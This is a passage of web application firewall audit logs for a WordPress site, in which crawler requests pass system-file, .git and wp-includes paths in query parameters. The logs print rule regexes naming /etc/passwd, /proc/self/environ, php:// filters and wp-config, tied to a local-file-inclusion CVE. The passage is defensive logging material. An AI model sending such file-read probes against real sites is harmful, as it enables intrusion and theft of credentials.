rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"64ae37294bba7b2661b45e391a9c25f7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/wp-optimize/wp-optimize.4.1.1.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":207,"p2":4174,"p3":0,"p4":0,"p5":309,"sr":102,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:48:04.765655 +0100","transaction_id":"abOlFBLi46gS4DJVzjWbwgAAAkk","remote_address":"57.141.20.11","remote_port":52656,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/locale/zh_TW/LC_MESSAGES/sed.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.11","X-Forwarded-Proto":"https","X-Request-Id":"87c826f6b33f38582e70089ee984fcd7","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9438011"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"87c826f6b33f38582e70089ee984fcd7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/zh_TW/LC_MESSAGES/sed.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":396,"p2":11147,"p3":0,"p4":0,"p5":426,"sr":155,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:48:08.412164 +0100","transaction_id":"abOlGGOvBHqXP6jl8arM9wAAAAE","remote_address":"57.141.20.43","remote_port":35090,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/23/f5ccefaad1a2efbf576f98579cb8e927064e09 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.43","X-Forwarded-Proto":"https","X-Request-Id":"fa14bca1c88dbc2dc402a98f28b6afab","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1084235"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"fa14bca1c88dbc2dc402a98f28b6afab","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/23/f5ccefaad1a2efbf576f98579cb8e927064e09||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":332,"p2":7031,"p3":0,"p4":0,"p5":357,"sr":163,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:48:09.449645 +0100","transaction_id":"abOlGRQsu-n2gr4PXlWbeQAAARg","remote_address":"114.119.150.95","remote_port":54496,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/236504851 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.150.95","X-Forwarded-Proto":"http","X-Request-Id":"851ee6201fc9dcf2a596d92a8032dcd2","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11272986","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"851ee6201fc9dcf2a596d92a8032dcd2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":295,"p2":5840,"p3":0,"p4":0,"p5":332,"sr":157,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:48:14.720905 +0100","transaction_id":"abOlHrC1B_6BYICFawu-cAAAAUk","remote_address":"57.141.20.55","remote_port":39746,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/d/d462%20dg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.55","X-Forwarded-Proto":"https","X-Request-Id":"994b3f6fbf7f2d662f282326b140b83b","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11141509"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"994b3f6fbf7f2d662f282326b140b83b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/d/d462 dg||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":373,"p2":5025,"p3":0,"p4":0,"p5":371,"sr":110,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:48:32.866269 +0100","transaction_id":"abOlMLC1B_6BYICFawu-tQAAAUY","remote_address":"57.141.20.7","remote_port":38676,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/49/2884e16c002155487ea76896199fdaba2103bb HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.7","X-Forwarded-Proto":"https","X-Request-Id":"6928e8ffe66eb2e4aedbff09b0a534a8","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9568797"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"6928e8ffe66eb2e4aedbff09b0a534a8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/agriculture-products/?edit=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/49/2884e16c002155487ea76896199fdaba2103bb||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":199,"p2":4160,"p3":0,"p4":0,"p5":306,"sr":108,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:48:50.413010 +0100","transaction_id":"abOlQhLi46gS4DJVzjWcEQAAAkk","remote_address":"57.141.20.31","remote_port":52656,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/38/b2aa3e2817bd2b4314fc73c7cf51be74d4a174 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.31","X-Forwarded-Proto":"https","X-Request-Id":"71148bfda95c564e9ec00c8e1e24adb8","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1084358"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"71148bfda95c564e9ec00c8e1e24adb8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/38/b2aa3e2817bd2b4314fc73c7cf51be74d4a174||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":295,"p2":5312,"p3":0,"p4":0,"p5":221,"sr":95,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:49:03.805399 +0100","transaction_id":"abOlT2ctLZHX5xWTcqfeZwAAAhA","remote_address":"57.141.20.55","remote_port":35108,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/var/lib/mibs/ietf/T11-FC-NAME-SERVER-MIB HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.55","X-Forwarded-Proto":"https","X-Request-Id":"9cffe7fc9c7e73bbaaeb9012e49fdf7a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2755253"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"9cffe7fc9c7e73bbaaeb9012e49fdf7a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/var/lib/mibs/ietf/T11-FC-NAME-SERVER-MIB||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":305,"p2":6388,"p3":0,"p4":0,"p5":417,"sr":135,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:49:09.100861 +0100","transaction_id":"abOlVGOvBHqXP6jl8arNMQAAAAE","remote_address":"57.141.20.35","remote_port":35090,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/sftproot/htdocs/ptso.jmkconsulting-ci.com/wp-includes/assets/script-modules-packages.min.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.35","X-Forwarded-Proto":"https","X-Request-Id":"ae6dfc00fafeb62dbcec5b4094f3cd3a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2755274"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"ae6dfc00fafeb62dbcec5b4094f3cd3a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"\\\\/wp-includes\\\\/.{1,999}\\\\.min\\\\.(?:h?php[\\\\ds]{0,2}|pht[m]?|phar)(?:\\\\W|$)\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2197\"] [id \"77350600\"] [msg \"IM360 WAF: Suspicious .min.php file in wp-includes||SC:/var/www/jmkconsulting-ci.com/htdocs/ptso.jmkconsulting-ci.com/service||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":279,"p2":5194,"p3":0,"p4":0,"p5":263,"sr":113,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:49:16.500128 +0100","transaction_id":"abOlXGOvBHqXP6jl8arNRgAAAAE","remote_address":"57.141.20.15","remote_port":35090,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/locale/pa/LC_MESSAGES/dpkg.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.15","X-Forwarded-Proto":"https","X-Request-Id":"1fa7ab7a5595d1f74574e1d107b3584c","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11240110"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"1fa7ab7a5595d1f74574e1d107b3584c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/pa/LC_MESSAGES/dpkg.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":189,"p2":4050,"p3":0,"p4":0,"p5":306,"sr":102,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:49:21.519058 +0100","transaction_id":"abOlYezjYSjefEszC8x-xgAAAdE","remote_address":"57.141.20.17","remote_port":34566,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=/sftproot/htdocs/ptso.jmkconsulting-ci.com/wp-includes/theme-compat/embed-404.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.17","X-Forwarded-Proto":"https","X-Request-Id":"b86ff01288aa16ca57f2c1d599e0c751","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9438160"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"b86ff01288aa16ca57f2c1d599e0c751","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"/wp-includes/theme-compat/.*\\\\.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"603\"] [id \"430037\"] [msg \"Malware.Expert - request_uri: Wordpress - prevent PHP files from executing\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"/wp-includes/theme-compat/.*\\\\\\\\\\\\\\\\.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"603\"] [id \"430037\"] [msg \"Malware.Expert - request_uri: Wordpress - prevent PHP files from executing\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/agriculture-products/\"] [unique_id \"abOlYezjYSjefEszC8x-xgAAAdE\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"/wp-includes/theme-compat/.*\\\\.php\" at REQUEST_URI."},"stopwatch":{"p1":294,"p2":4256,"p3":0,"p4":0,"p5":269,"sr":113,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:49:29.382332 +0100","transaction_id":"abOlaWctLZHX5xWTcqfexQAAAgA","remote_address":"57.141.20.18","remote_port":34408,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/woocommerce-product-addon/woocommerce-product-addon.33.0.14.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.18","X-Forwarded-Proto":"https","X-Request-Id":"b392c341bc3893fb8fef54404f79e059","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11535606"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"b392c341bc3893fb8fef54404f79e059","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/woocommerce-product-addon/woocommerce-product-addon.33.0.14.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":316,"p2":6327,"p3":0,"p4":0,"p5":292,"sr":111,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:49:38.036888 +0100","transaction_id":"abOlcRQsu-n2gr4PXlWcEwAAAQM","remote_address":"57.141.20.17","remote_port":53098,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/terminfo/v/vt420f HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.17","X-Forwarded-Proto":"https","X-Request-Id":"ccf61fdfdeddd282157a5a15e71b954b","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2755298"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"ccf61fdfdeddd282157a5a15e71b954b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in 